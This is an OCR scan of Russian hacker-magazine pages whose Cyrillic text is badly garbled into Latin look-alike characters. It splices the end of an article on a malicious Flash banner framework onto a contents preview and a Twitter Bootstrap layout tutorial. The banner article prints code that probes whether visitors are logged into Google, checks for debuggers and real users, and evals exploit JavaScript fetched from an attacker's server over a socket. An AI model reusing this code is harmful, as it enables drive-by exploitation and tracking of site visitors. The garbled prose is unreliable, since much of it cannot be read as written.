BbIMOJIHEHMS CO0BLLaeT CEPBEPHOMY CKPUNTY pe3yNnbTaThl NPOBEPKY.
Hanpumep, npepekBMU3NTOM aTakn MOXET ObITb 3a10TMHEHHOCTb MOJb-
30BaTesNs Ha 3aflaHHOM caiiTe. Kak MOXHO 0npefenunTb, 3al0rMHEH in
nofb30BaTeNb Ha calTe, YuTait TyT: bitly.com/SEfsgg, a Takxe cMoTpu
npuMep Ko4a HUXe.

ExternalInterface.addCallback("check", check);
checklist = new Array("var i = new Image(); i.id = «
\'fla523c7c35dcef2e774508c3beef000\"'; i.onload = «
function(){i = document.getElementById(\'fla523c7c35d«
cef2e774508c3beef000\'); i.parentNode.removeChild(i); «
<<id>>.check(1); }; i.onerror = function(){i = «
document.getElementById(\'fla523c7c35dcef2e774508c3bee«
f000\'); i.parentNode.removeChild(i); <<id>>.«
check(®); }; i.src = \'https://accounts.google.com/«
CheckCookie?continue=https://www.google.com/intl/en/
images/logos/accounts_logo.png?\' + Math.random();",

"var i = new Image(); i.id = \'fla523c7c35dcef2e774508

c3beef000\'; i.onload = function(){i = document.«
getElementById(\'fla523c7c35dcef2e774508c3beef000\ ") ;

i.parentNode.removeChild(i); <<id>>.check(1); }; «
i.onerror = function(){i = document.getElementById«
(\'fla523c7c35dcef2e774508c3beef000\'); i.parentNode.«
removeChild(i); <<id>>.check(®); }; i.src = \'https://«
plus.google.com/up/?continue=https://www.google.com/intl/«
en/images/logos/accounts_logo.png&type=st&gpsrc=ogpyo&\ '«
+ Math.random();");
if (Capabilities.playerType == "ActiveX") id = «
"window['" + ExternalInterface.objectID + "']";
else id = "document['" + ExternallInterface.objectID + "']";
for (var st : String in checklist) {
ExternalInterface.call("eval”, checklist[st].«
replace("<<id>>", id););

¥

NTak, pe3ynbTaThbl NPOBEPKU NPEPEKBU3NTOB aTaK OTCbIJIAOTCA
O6paTHO Ha cepBep, KOTOprl71 BblAaeT Ko ANA npoBefeHNd TOJIbKO
aKTyallbHbIX aTakK:

function readData(e : ProgressEvent)
ExternalInterface.call("eval"”, «
socket.readUTFBytes(socket.bytesAvailable));

}

: void {

3aMeTnM, 4TO XpaHeHUe Kofa, IKCMIyaTUPYIOLLEro yi3BUMOCTH,
Ha NOJKOHTPOJILHOM pecypce No3BoseT NPOBOANTL AOMONHUTESbHbIE
NpOBepKU KaXAoro KnveHTa, Hanpumep no IP-agpecy.

OUHTEPTIPUHTUHT KJTIMEHTA

Ewe oaHa 3agaya — NpoBecT UHIeprpUHTUHT KueHTa. Ha faHHyio
TeMy BbINYLLEHO MHOrO CTaTel U Hay4YHbIX paboT, K KOTOpbIM Mbl Tebsa
n oTcbinaem. B HalweM xe ¢ppeiiMBopKe Mbl peann3oBanu ToNlbKo Npo-
CTenlmne NPoBepPKHU.
Y1o6bl ycTaHOBUTH, 4TO Haw 6aHHep NpocMaTpueaeTcs
He YeI0BEKOM U1 He Nof 06bluHbIM Bpay3epoM, Mbl CliefuM:
al 3aHanuuMeM nepemeLLeHmii MbIWW Ha BKIIOYaI0WeN CTpaHnLe
(cobbITMe onmousemove);
6) 3aHanuunem HTML5-unTepdeiicos (Hanpumep, localStorage);
8] 3aTtunomnneepa (standalone nnu s 6paysepe), aTakxe 3aero
PEXUMOM PaboTbl — CM. KOZ HUXKE.

Capabilities.playerType == PlugIn || «
Capabilities.playerType == ActiveX
Capabilities.isDebugger == false

3AKJIFOYEHWE

06buas cxema paboTbl npefnaraeMoro ¢ppeitMBOpKa, Koj KOTOPOro

Thl HAWAELWb HA ANCKe, OTPaXeHa Ha COOTBETCTBYIOLLEM PpUCYHKe. BoT

OCHOBHble KOMMOHEHTbl pperMBOpKa:

1. OfMH UM HecKoNbKo 6aHHePOB, KOTOPbIe BbIMOMHAT GUHrep-
NPUHTUHT KAneHTa (M agMuHa) n3arpyxatoTBpegoHocHoe Flash-
NPUNIOXKEHWe C cepBepa.

2. JavaScript-kop, KOTOpbI MPOBOAMT MPOBEPKY BO3IMOXHOCTM 3KC-
nayataununysssumocTeit. [IpoBepKM HyXXHbI, HaNnpuMep, AN TOro,
4yTobObl ONpeaennTbys3BUMOCTb [0 KNNeHTa K 3IKCNNONTY UK
y3HaTb, 3aJ10TVHeH M Nosib3oBaTenb Ha ysa3BuMoM k CSRF caiiTe.

3. CepBepHbI CKpUNT, KOTOPOMY OTChIIAIOTCA Pe3ybTaThl NPOBEPKY
npepeKBU3NTOB aTak M KOTOPbIV Bo3BpalyaeT JS-Kop, Henocpes-
CTBEHHO 3KCMyaTUPYIOLL U YF3BUMOCTH.

4. BpepoHocHblvi Flash-baHHep, KoTopblii cogepXxuT JS-kogusn. 2,
aTakxe 3anyckaeTJS-Kof 3KCNI0MNTOB, NONyYeHHbIN 0T cepBep-
HoroMoaynsusn.3.

B kayecTBe 3ak/l04eHNS XOTENOCh Obl NOPEKOMEHL0BATh BCEM
aAMUHUCTPATOPaM CaiiToB BHUMATEIbHEE N3y4aTb TEXHONIOMWU,
MCMOoNb3yloLWMecs ANS BCTaBKW BHELLUHEr0 KOHTEHTA B CTPaHMLbI UX
canToB. 3C
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Preview

UNIXOID

UCNOJINH, KAKUX HEMHOI0

Systemd — HoBas cucTeMa MHULMANN-

3aLuK, yXe Ucnonb3yemas no ymos-

4aHWi0 BO MHOTUX COBPEMEHHbIX

ancTpubyTuBax. YBbl, TMHYKCONAbI

N0X0 pearupyioT Ha cTaHAapTU3aLmio,

1 MHOTWe BOCTIPUHSIN HOBOE AeTulle

JlenHapTa MoTTepuHra B WTbIKK.

B koHe4yHOM cyeTe 3TOT Yyenosek

yxe nogapun mupy PulseAudio, u,

4TO XapaKTepHO, peakLins XapAKOPHbIX

JIMHYKCOWMA0B Obl1a TOYHO TaKas xe.
OfHaKo Npex/e, YeM ryrinTb UH-

CTPYKLMIO NO BbINUAKBaHMIO systemd

13 nwbumoro Apyvka, noynTanm aToT

aHanus, 4Tobbl NOHATL — a eCTb N

noBoAbl N5 fpaMbl?

UNIXO0ID

KOAUHI

>

YTOHAMCTOUTTYKCABCTPOUTD
M3yyaemnnatdopmy OpenEmbedded
ANS peanu3alLyiv pasanyHbIX NpoeKTos BO
BCTPaMBaEMbIXYCTPONCTBAX.

SYN/ACK

LLIBEMUBDCKMIA HOM
B anmaUl @&

|y
| s

LUBEMLIAPCKUMHOX ANAUI

90 Co3aaeM canTbl CafanTUBHOV BEPCTKO
1 APYrMMU BKYCHOCTSIMM C NOMoLLbto Twitter
Bootstrap.

CTAHbPOBOTOTEXHUKOM!

96 0630p BO3MOXHOCTEN Cpefibl A5 NPorpam-
MupoBaHus poboTos Microsoft Robotics
Developer Studio.

FERRUM

nonyppPu

Mpogonxaem nsyyatbHoBlwecTea Windows
Server2012—HaaToTpa3 peybnoiger
0MeHee 3aMeTHbIX HOBOBBEJEHUAX.
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JIMLUOM KNULY
0630pannapaTHbIX M MPOTrPaMMHbIX peLue-
HUW [LN1S OpraHn3aL i BUAEOKOHbepeHL Ui
HanpeanpusaTuu.

LAFURIAROJA

CpaBHUTeNbHbI 0630p refiMepcknx
MaTepuHCKWX NnaT ansd nnatpopmbl AMD
Bulldozer.
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KOAUHIr

Uropb «Spider_NET» AHTOHOB (antonov.igor.khv@gmail.com, vr-online.ru)
Wnbs Kypuenko (kurchenko@real.xakep.ru)
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HoMep TeaePoe

O ToweA enNain
0 Newep (YAXTb

MMpowwno YyTb bosbLe rofa c MOMeHTa NepBOro
penusa Twitter Bootstrap. 3a rog aToMmy npo-
eKTYy yAanoch CTaTb HAaCTOSALLEN POK-3Be3[0M:

OH B30pBan cepaua Beb-paspaboTumkos no Bcemy
Mupy, cobpan Bokpyr cebs HellyTo4YHOro pa3mepa
coobLLecTBO, BAOXHOBWIT € 4MHOMBILLNEHHUKOB

Ha co3faHne GOPKOB N 3aHSAN NOYETHOE MECTO

Ha ONIUMIe MHCTPYMeHTOB Beb-pa3paboTku.

KTO TAKOW, YEM 3HAMEHWT?
Twitter Bootstrap — 6ecnnaTHbil 1 cBO60AHbI HABOP MHCTPYMEHTOB
In9 cozfanna seb-npunoxennii (caiitos) noboro MacwTaba. Becs
Bootstrap no 6osblwomy cyety — 310 Habop HTML/CSS/JS-daitnos,
KO/, KOTOPbIX peLaeT caMble pa3Hoobpa3sHble 3afa4n, BO3HUKaLWMe
nepeg paspabotynkom. Hanpumep, B Twitter Bootstrap 13 kopobku
pocTtyntbl HTML/CSS-wabnoHbl opopMaeHus fis Be6-GpopM, KHOMOK,
rNaBHOrO MEHIo U Tak fjanee.
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3AYEM TM0JIb30BATHCA CSS-OPEVIMBOPKAMW?
Brnonxe pe3oHHbIi Bonpoc. [ledcTBUTENbHO, 3a4eM 3aMopaynBaThb-
CSl U3YYeHUEM KaKNX-TO «TNaMypHbIX» MHCTPYMEHTOB, eC/n Y Tebs
npobaem c BepcTKoit/pa3paboTkoil U Tak HeT? ApryMeHT Bpo4e «TaM
eCTb Ky4a roToBbIX KyCKOB KOAa» 3BYYNT He COBCEM yOeanTenbHo,
nocKoJibKy y Ntoboro eBesionepa ¢ onbITOM paboThl SBHO UMeeTCs
CBOW Habop NPOBEPEHHbIX BpEMEHEeM 3aroToBoK. Tak B 4eM e Toraa
npoduT oT NnpuMeHerus Twitter Bootstrap u eMy nofo6Hbix? OTBeYat0
no NyHKTaMm.

Bo-nepBbix, 3aroToBKa 3aroToBKe po3Hb. He xo4y Koro-To 06uaeTs,
HO M0 ONbITY CKaXy, 4TO Ha Kaoe NpaBubHOe pelleHne 0693aTeslbHO
HanpeTcs ele bonee npaBubHoe. Tak y)K yCTPOEH YeN0BEK: NOTPaTUB
BpeMs 1 Haiias pabounii BapuaHT, B OONBLUMHCTBE Cly4aeB OH He 3a-
X0YeTUCKaTb 1 paccMaTpUBaTh aflbTepPHaTUBHbIE TOUKM 3peHus. [ycTb
[aXe HallleHHbI NepBOHaYabHbI BapUaHT He ueaneH —rnasHoe,
oH paboTaeT, aocTanbHoe HUKOrO He KacaeTcs. CaM noHMMaellb, 4ToTa-
KOV MOAXO[ HE CaMblil BEPHbIV M MO-XOPOLLIEMY HY)XXHO BCerfa cTpeMnTb-
CS1 K COBEPLUEHCTBY.

OpeiiMBOPKYM He 06X0ASAT 3TOT BOMPOC CTOPOHON. «Ho Befb UX KOZ,
TOXE MOXeT bbITb Aanek oT uaeanal» — cnpasefanBo BO3PasuLlb Thl.
MonynapHsle dpeiiMBopku (HanpumMep, ToT e Bootstrap ot Twitter)
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LLisenuapckunin Hox ans Ul

MIMetoT pa3BuTble coobLiecTBa, COCTOSLLME U3 OMbITHBIX pa3paboTun-
KOB, KOTOpPbIE CNEeAST 38 KA4eCTBOM KOJja U He CKYMSTCS BHOCUTb CBOM
npefnoxenus. Ecnv npeanoxeHHbI KeM-T0 BapUaHT peLleHuns onpe-
AeneHHON 3a[1a4m Kpyye, To ero 0643aTeflbHO BHECYT B HOBYIO BEPCHIO
AncTpunbyTnBa, 1 OH CTaHeT AOCTYNeH BCeM fjeBenionepam. Takum
0bpa3oM, Ko TBOMX NpoekToB byaeT Bcerna CBeXUM U 0TGUNbTPOBaH-
HbIM OT BCSIKWX apxan3MoB. Bepab flaxe ceityac, HecMoTpsi Ha boraTbie
B0o3MOoXHOCTU HTML5/CSS3, MHorve Be6-pa3paboTunku npogomxkaoT
AenaTtb KpacuBble KHOMOYKM B BUAE KapPTUHOK.

BbicTpoe npoToTMnupoBaHue uHTepdeica byayuiero npunoxeHus.
Hu pnskoroHe cekpeT, 4To B 60NIbLUNHCTBE CIy4aeB NPOrpaMMuUCTbl
pbsiHo bepyTcs 3a HanMcaHe KoAa HOBOTO MPOEKTA, a NOTOM J0JIF0 U My-
YMTEsIbHO MbITAKTCS CAenaThb yA0OHBIA M NPUSTHBIA [151 BOCTIPUATUS
nHTepoelic. M ecnv elie npoayMaTh €ro KOHLEMNLMIO M0 CU1aM MHOTUM
KofilepaM, TO C OTPUCOBKOM 31eMeHTOB Y 60NbLIMHCTBA BO3HMKAIOT MPO-
bnembl. BoTB Takux cnyyasx nomolb dpeiiMBopka bygeTnpocTo Hesa-
MEHWMOM, NOCKONIbKY B HEM MeeTcs Bce HeobxoanMoe, 4Tobbl co3pgaTb
HopManbHbI MHTepdeic be3 nuWHUX ycunnin. TytTebe u cuMnaTuyHble
KHOMKW, N 0pOPMIIEHHbIE 3/1IeMEHTbI BBOAA, M MHOro Yero ewye. [osepb,
pe3ysbTaTThl NoayYnwb iyywwe (a rnasHoe — buicTpeit), yem ecnn
Thl HAYHELb BCE AeN1aTb CaMoCTosTe bHO (0COBEHHO eCiv HanpoYb oT-
CYTCTBYIOT HAaBbIKW PUCOBaHMs).

CranpapTusaumus uHtepdeiica. Bepctanblymku u gnsanHepsl He-
penKo opyTbnarum MaToM M BO3MyLLaloTCA, 4TO BCe pa3paboTaHHble
Ha GpenNMBOpKax caTbl BHITSAAT OAMHAKOBO. Mo, Hedur3anonoHsaTh
CeTbKy4yel MPOEKTOB CO CX0XUM BHeLWHUM BUAOM. OT4aCcTV 3TO yTBEPX-
AeHune cnpaBejNBO, HO MOYEMY-TO 3TV Apble NPOTUBHNKM 3abbiBaloT,
4TO NpUMMeHeHWe B NpoekTe ppeiiMBOPKa He MellaeT An3aliHepy cO3AaTb
YHUKanbHbIN WepeBp. Bce aneMeHTb MOryTbbITh NepepucoBaHbl
1 BbIMOJIHEHBI B TAKOM CTIJ1E, KOTOPbIA TOSIbKO MOXET NPUAYMaTb 13-
BPaLLEHHbI MO3T Xy[0XHMKa. [1py feTanbHOM N3y4YeHnn npefMeTa
BHECTW U3MEHEHNS — [1eJ10 HECKOJIbKMX 4aCOoB (5 Meo B BUAY MOJTHYI0
nepepucosky 6asosoro opopmenns). Paspabotunku ppeiiMsopka
3TOro He 3ampeLuaoT, a faxe, HaobopoT, noowpstoT.

KpoMe BO3MOXHOCTV CO3/1aBaTb NPOCTbIe U CTUSIbHbIE UHTEpdeit-
cbl ans Beb-npunoxenni, Twitter Bootstrap npegnaraetHam ele
OAHO 04YeHb BaXKHOE M HEOCMOPUMOE NPerMyLLeCTBO —BO3MOXHOCTb
BbICTPO M 63 NIUWHMX XNIOMOT CO3[,aTh MOJIHOCTbIO aAaNTUBHbLIN [U3aiH
ANATBOEro caiTa. MOXXHO CKONTbKO YrOfiHO CMOPMTbL 0 TOM, 4TO Jlyy-
LLle —0T3bIBYNBaAsA BEPCTKA, CNelnanbHo pa3paboTaHHas cTaTuyHas
MobunbHas Bepcus v Booblie HaTUBHOE NPUOXKEHVE ANd naaThop-
Mbl, HO GaKTocTaeTcs GakToM: 3a4acTyloy pa3paboTyMkoB NpocTo HeT
HW BPEMEHU, HY pecypcoB A1 TOro 4Tobbl ienaTh 0TAENbHY0 BEPCUID
caliTa 4J1s CMapTOB, He TOBOPS YXKe 0 HATUBHOM NPUNTOXeHUN. B aTnx
cny4asx Bootstrap—3TonaeanbHoe pelueHune, no3sonsiLiee BepcTaTh
npakTuyeckun bes nuwHen paboTbl M OLHOBPEMEHHO NONYYNUTb CANT,
ONTUMM3MPOBAHHbIN NOJ0 BCE Pa3peLleHns SKPaHOB W Aaxe NoAcTpan-
BaloLLMIACA B pealbHOM BpeMeHW Nof pecaii3 okHa bpaysepa. HeMHoro
nyTaHo? [pocTo 0TKPOW rMaBHyto CTpaHuLy npoekTa Ha rutxabe (bit.ly/
q2G9Mm) mnocTeneHHo yMeHbluai WnpuHy bpaysepa. Boirnsaautgopo-
BO, He npaefa nn? TorganepeifemM oT CNOB K ey vnonpobyem caenatb
cBoWi npoekTHa Bootstrap.

READY? SET? GO!
3arpysuBcaMapxus c ppeiiMBOPKOM, NepBbIM Aes1oM He0b6X0a1MMO
NOLKIIIOYNTL HYXHble dainbl K npoekTy. ConepxaHue apxusa Bootstrap
BTeKylen Bepcumn 2.2.2 Takoe:

/

|—css/

|  |——bootstrap[.min].css

| |——Dbootstrap-responsive[.min].css

[—3s/

| |——bootstrap[.min].js

|—img/
|——=glyphicons-halflings.png
|——=glyphicons-halflings-white.png
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Tyt BCe npocTo: B CSS nexat camu cTuau, KoTopble Heobxoan-
MO MOAKI0YaTh K NpoeKTy (06bi4HbIi 1 minified), 8 JS — ckpunTl,
B img — cneyuanbHbi nakeT MKoHoK oT Glyphicons. Mogkntoyaelus,
eCTECTBEHHO, TONIbKO M0 0AHOMY dainy (MKOHKM LenasioT camu cTuim).
KcTati, MHOrMe BepcTanblyMKK 4acTo paboTaloT ¢ eBesonepckoi
Bepcueil Kofia, BHOCS HEKOTOPbIe NPaBKM Ha ropsiyyto NpsaMo TyAa,
anoToM NPOCTO UCMOMb3YT MUHNUGaepbl. CTporo rosops, aTo Henpa-
BUJIbHbI NOAXOA. [1paBuIbHbI anropuTMm byaeT Takum:
1. nopkntoyaews bootstrap.min.css;
2. nopknioyaews bootstrap-responsive.min.css;
3. nopkntoyvaews bootstrap.min.js;
4. yKasblBaellb HYXXHble CTUNN OBEPPaOM B OTAEIbHOM CSS

(51 06bIYHO Ha3blBaK ero custom.css).

TaknM obpa3om ncxofHblv kof Bootstrap ocTaeTcsi HEeM3MeHHbIM
Y CBOW Fpsi3Hble Xaky BCEra MOXKHO 0TKaTUTb be3 MyunTenbHbIX BOC-
MOMWHAHWI 0 TOM, 4TO Xe Tbl n3MeHun B CSS-daiine Ha WwecTb Thicay
CTPOK 3.

KcTaTu, BaXHblil MOMEHT — He 3abyab NpaBuibHO 3aAaTh NpaBuia
MacwTabupoBaHus cTpaHnLbl:

<meta name="viewport" content="width=device-width,«
initial-scale=1.0">

JTa cTpoKa He No3BOANT MObUNbHBLIM bpay3epaM MacwTabupoBaThb
CTPaHuLy Mo CBOWUM npaeunam (Hanpumep, BECb CaiT B 0HY KOJIOHKY
C BbIPBUTNIAa3HbIM MaclTabom, Kak 3To Mobut genats Opera Mobile),
npepocTaBNAs 3TM npuBunerun paspabotymnky. Ecnv Bapyr BOZHUKHYT
Kakue-To TPyAHOCTY C 6a30BbIMK BelllaMi, HACTOATENIbHO COBETYI0
rNSHYTb OpUrKHanbHble getting started npumepbl oT pa3paboTynkos:

bit.ly/NZQi0y.
CKA®OOJIANHTI, HACTAJIO TBOE BPEMA!

MoAKNtoYMB K NPOEKTY BCE He0bX0AMMble altfibl U oNpeaeMBLINCD

c 6a30BbIMUM HAacTPOKaMK, caMoe BpeMs HayaTb BepCTKy. [laBaii He by-
[leM TAHYTb 1 Cpa3y Xe CAeNlaeM NpocTyio, HO NOJHOCTbI0 aAanTUBHYO
pa3MeTKy 3N1eMeHTOB CTPaHMLbI.

YT10bbl Cpa3y xe BepcTaTb afanTUBHO, HeOOXOAMMO ANA Hayana pa-
306paThbCs ¢ Ha3HayeHWeM OAHOTO U3 raBHbIX 3eMeHToB Bootstrap —
ceTku. Grid (a MeHHO Tak Ha3bIBAETCA 3Ta WUTYKa B TEPMUHOOMMN
dpenmBopKa). 3To Hekoe Nofo6Ke aAanTUBHOI CETKM, CBEPCTaHHOM
Ha fuBaX, B A4EKMN KOTOPO MOXKHO pa3MelLLaTh 3NeMeHTbl MHTepden-
ca. OuwwKon rpuaa ABNKETCA T, YTO B HEM YXe 3afaHbl NpaBuaa no-
BEAEHUA NPU YMeHbLIEHWUN Pa3MepoB CTpaHuLbl (eCTECTBEHHO, TObKO
NO3WLMOHHbIE, CaMW CTUAN AN U3MEHEHUS, HanpuMep, pa3MepoB
WpPUGTOB NPOMUCHIBAKOTCA OTAENLHO).

Mo pedonTy BCSA paboyas obnacTb fenntcs Ha 12 aueek no Lwupu-
He. WvpuHa sveiiku BblYMCAsETCS B NPOLLEHTaX 0T TEKYLLEN WNPUHBI

O®OPMJIEHUA HA OCHOBE TWITTER
BOOTSTRAP A1 NONYNAPHbIX CMS

900.91/5IK9K — npumMep TeMbl AN NoNyAsipHOro 6,10roBoOro fBUXKa
WordPress;

900.9l/VhXXs — anbTepHaTuBHas TeMa gns WordPress Ha Bootstrap;
000.91/TgW47 — wabnoH opopMsieHns, co3paHHblii Ha Twitter Boot-
strap gna Drupal;

900.9l/a7RSH — anbTepHaTUBHbI BapuaHT Bootstrap ana Drupal;
900.9l/EFpDr — wabnoH ansa nonynspHoii cerogHsa cucteMsl ModX;
900.9l/GkXTB — Bootstrap B cBsizke Typo3;

000.91/8x801 — npumep gns ppenmeopka Yii.
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okHa bpaysepa. KcTati, KONMYeCTBO AYeeK B CTPOKe (a COOTBETCTBEH-
HO, M WIMPUHY OTAENbHOW A4ENKN) 1 Lpyrre BaXKHbIe MepeMeHHble,
1CMoN3yeMble BO BpeMS BEPCTKM, Thl BCETAA MOXELLb N3MEHNTb
WTaTHLIMU cpeficTaBamu Bootstrap, nonyyms cneynanbHo KacToMu-
3UpOBaHHbIN daiin ctunei. laBai co3fafnm rpuz U3 o4Horo pasa

C TpeMs fsyeiikamu.

<div class="row">
<div class="span4">MepBaa A4veika</div>
<div class="span4">BTopasa Adeika</div>
<div class="span4">TpeTba Adveika</div>
</div>

Knacc .rowy AvBOB 3afaeT psfi-KOHTeliHep, B KOTOPOM pa3Me-
watTcs camu s4eiiku. Camu syeiiku 3agatTcs knaccamu spanN, rae
N — KoAn4ecTBO i4eeK, Ha KOTOpOe NpocTUpaeTca ayenka. BaxHo
NOMHUTb, YTO CYMMa siYeeK B rOW [0JXKHA PaBHATbCS obLieMy Bo3-
MOXHOMY KOJIMYeCTBY i4eeK B row — B HaleM ciiyyae aTo 12. To ecTb
Thbl MOXKeLLb 3afaTh Span4, span2, span4 u span2, HO HUKaK He Tpu
spané B O[,HOM row, Ha4e BepcTKa NpocTo «pasbefeTcsa». Kctaty,
€CJIM X04ellb MOCTaBUTb «CN3H» He C Havyana paga, to3ai 4ononHu-
TenbHbiil knacc offsetN (paboTaet no cxoxemy npunuunyl, roe N —
AJIMHa 0TCTyna B span‘ax.

Ecnv B3rnsHyTb Ha oduumanbHbli getting started, MoxHo 3ame-
TUTb, YTO KOHTEHT 06bIYHO 0bopaunBaeTcs B 60K .container. TyT Hago
MOHWMaTb YTO KOHTEHEPOB, KakK W rPUAO0B CyLLecTBYeT ABa BUAA —

C OrpaHMYeHHOM MakcMMabHO WMpHHON (container) 1 MoAHOCTLIO
pe3uHoBeli (containter-fluid). B 3aBucuMocTy 0T Toro, Kakoi Tun
KOHTENHepa Hy>eH, 103all cooTBeTCTBYloWMe row nav row-fluid.

C aBanTMBHOCTbIO CBA3@H eLLe OAWH BaXHbIih MOMEHT. Bootstrap
pearupyeT Ha U3MeHeHUWe pa3Mepa He No KaxgoMy cobbiTuio pecaisa,
a TONIbKO MpW Nepexofe Yepes onpefiefleHHble MorpaHnyHbIe TOYKM.
To eCTb peafibHO BEpCTKa NoMeHseTcs (M3MeHNTCS WrprHa gyeek
¥ MX NO3ULNOHUPOBaHWe), HanpyuMep, NP1 U3MEHEHUW LUIMPUHBI OKHA
ot 980 k 979 nukcenen, Ho He npu nepexoge ¢ 979 k 978. Taknx KoH-
TPOJNIbHbIX TOUEK MOXET BbITb HECKOJIbKO, @ UX 3HAYEHMNSA Thl MOXKELLb
MEeHATb Yepes AUPeKTUBY

@media (min-width: 768px) and (max-width: 979px) {

KcTatw, 3aberas Bnepep, CKaxy, 4To Yepes 3T Xe ANPEeKTUBSI
yno6Ho 3a.aBaTh pa3Mepbl U BHELWHWUIA BUA U APYTUX 3J1EMEHTOB CTpa-
HULbI, HANPUMEp ANHAMUYECKN MEHATb Pa3Mep 3arofloBKOB, Y4TobbI OHU
BCEr/ia BbIr0HO CMOTPENNCH NPY HaXOXKAEHUN B 3aJaHHOM inana3oHe
LUMPWHbI CTPaHMLbL. Hy a ecniv Kakon-To aneMeHT An3aiiHa YK COBCEM
HUKaK He BNUCbIBAeTCS B NNaHWeTHOe 1 CMapTGOHHOE NpeAcTaBneHne,
MOXeLUb 3a03aTb CTUAWM visible-phone, visible-tablet, hidden-phone,
hidden-tablet nns cTonpoLeHTHOro KOHTPONA NPeACTaBeHUs BEPCTKM
Ha caMblx pa3Hoobpa3sHbix AeBaiicax. He npasaa nu, ynobHo?

BPEMA KOANTB!
C pa3melleHneM aneMeHToB pa3obpanuce. Tenepb NpuLLIO BpeMs Ha-
MONHWTb Hally CTPAHULY CMbICTIOM.

OAMH 13 caMblX y3HaBaeMbIX 3leMeHTOB Bootstrap — 370, KoHe4HO
Xe, navbar, ropu3oHTanbHas YepHas ToN-naHesb C 31eMeHTaMU MeHHo.
Cpasy oroBoploCh, 4To HaBbap MOXET COLepPXKaTb HE TONbKO JIMHKK
Ha pasfesnbl, Ho ¥ GOopMbl BBOAA, KHOMKM, fpONAayHbl, AWBaiaeps!
v ele Kyvy Bcero. BosHukaeT Bonpoc: kKak Bce 310 boraTcTBo byseT
pearvpoBaTh Ha U3MEHEHNS LWNPKHBI cTpaHuLbl? OueHb npocTo!
Mpu nepexofie Yepes o4epefjHY0 KOHTPOSIbHYIO TOYKY BCE COAEPXKMMOE
Hasbapa, KpoMe JioroTuna (KOTOpbIM ONUMOHaNeH, Kak 1 6o apyroi
3neMeHT B Bootstrap'e), bynet npatatbca nof Kart, a Ha Hagbape ocTa-
HeTCsa NNLLb KHOMKa, N03BONs0LLas N0 HEOBX0AMMOCTH pa3BepHyTh
BCe MHOroobpaswue HaBUraLMoHHbIX 31eMeHTOB. KcTaTtu, yunTbiBan,
4TO, HECMOTPSA Ha TO, YTo Ha3oBble CTUAM ByTCTPaNa NpekpacHo obxo-
0atcs u 6e3 JS, BoNbWIMHCTBO GuLLEeK, CBA3aHHbIX C aflanTUBHOCTbIO,
Bynet paboTaTh TONLKO NPU HaNMYUM NOAKIIOYEHHON BUbANoTEKM
jQuery u bootstrap.js, conepxalyux B cebe Bce MHoroobpaswe no-
BefeHus aneMeHToB Bootstrap. Ecnv Bce 3To Tebe HyXKHO He LeNNKoM,
aToNbKO YyacTaAMM (Hanpumep, y Te6 HET MOAANbHbIX OKOH), Thl MO-
Xelb NOAKMIOYNTb TOIbKO HeobxoanMble Moaynu. Hanpumep, 4Tobel
cpaboTana BbllweonucaHHas $uLlKa ¢ KaToM Ans Hasbapa, NoAK0YM
CKpOMHyto 61bnunoTeky bootstrap-collapse.js (B cTaHgapTHOM nakeTe
He MOCTaBAAETCS, HYXHO OTAE/IbHO CKaYaTb Ha CTPaHMLLe KaCTOMM-
3aunu), Hy v jQuery, ecTecTBeHHO. Takoil NOLX0A M03BONSET 103aTh
TOJIBKO TO, 4TO peasibHO HYXHO, He 06BelIMBas CTPAHULYY 340POBEHHbLIM
bootstrap.min.js c npuMoykamm Ha Bce cayyan xu3Hu. MoaHbIA cincok
Moayneil LOCTyMeH Ha CTpaHuLe KacToMmaisepa (bit.ly/TYGsat).

Ho poBonbHO Teopuu, fenaem Hasbap! Muwem B body:

<!-Knacc navbar-fixed-top ¢ukcupyeT nosnoxeHuve snemeHTa
HaBepxy CTpaHuLbl-->

<div class="navbar navbar-fixed-top">
<div class="navbar-inner">

<!-Mo Bcei wWWpUHe CTpaHULbI-->
<div class="container-fluid">

<!-KHonka noka3sa KaTa Mpu YyMeHblleHWM pasMepoB-->
<a class="btn btn-navbar" data-toggle="collapse"«
data-target=".nav-collapse">

<span class="icon-bar"></span>

<span class="icon-bar"></span>

<span class="icon-bar"></span>
</a>

<!-JlorotTun. OnNuMoHaNbHO, HO 6blBaeT HYXHO-->
<a class="brand" href="#">Xakep</a>

<!-- 3akugpiBaem pull-right'om apongayH BnpaBo-->
<ul class="nav pull-right">

RATCHET — «BOOTSTRAP>» [i)111 10S-PA3PABOTYMKOB

Ecnu Tbl 3aHMMaelLbes paspaboTkoii nporpaMm ans
i0S, To dpeiimBopk Ratchet (goo.al/zqF7g) opHosHau-
HO lo/KeH 060CHOBaTLCSA B TBOEM [€BEJI0NEPCKOM
4yeMopaHumke. C ero noMoLLbio MOCTPOUTL MPOTOTMN
nHTepdeiica byayLero npunoxeHns — feno fecitu
MUHYT. 3a cYeT 4ero AOCTUraeTcs Takas CKopocTb?
[Leno B ToM, 4yTo B Kopobke c Ratchet no-

CTaBAAKTCA rOTOBbIE NPOTOTUMbLI 6OMbLIMHCTBA
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3/1EMeHTOB yrnpaBssieHUs, NpuMeHsieMbIx B i0S. Tyt
Tebe 1 NUMNbI, NepeksitoYanku, GopMbl CMUCKOB U
MHOroe apyroe.

MoMuMo rpadpuyeckmx GuHTMNIOWEK, B MAKET
Ratchet BxoguT cneymanbHblit JS-cueHapui,
no3sBonstoWmii 06befMHUTL C noMoLLbio Ajax Bce
cTpaHuubl npoToTMna. TakuM obpasoM, 6onBaHka
CTaHOBUTCS MOX0XKEN Ha peasibHoe NpuaoXeHue.

PeanuctuyHocTu Takxke f06aBnseT KapTUHKa C
nsobpaxeHuem iPhone, Ha poHe kKoTopoi uget
TeCTUPOBaHME 3aroTOBKMU.

Lins 6bicTporo 3HakoMcTBa ¢ Ratchet s peko-
MEHJYI0 NOCETUTb 0PULMANbHBII CaliT NPOeKTa U
npobexatbcs no fokyMeHTauuu. Cospatenu npo-
€KTa MocTapanunch 1 caenany ee no-HacTosLeMy
MHTEPaKTUBHOA.
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naBHoe MeHIo cpeacTBamMu Bootstrap

CuMnaTuyHblil ProgressBar

<1li class="dropdown">
<a href="#" class="dropdown-toggle" «
data-toggle="dropdown">User</a>

<ul class="dropdown-menu">

<!--Nepeyncnaem snemeHTbl AgpongayHa-->
<li><a href="/">HacTpoiku</a></1i>
<li><a href="/">Bbixoa</a></1li>
</ul>
</1i>
</ul>
<div class="nav-collapse">
<ul class="nav">

<!--Camn cTpaHuubl HaBuUrauumm-->
<li><a href="#">B3nom</a></1li>
<li><a href="#">Malware</a></1i>

<!--AKTUBHbIA 3€/IMEHT MeHi-->
<1li class="active"><a href="#">KoauHr</a></1li>
</ul>
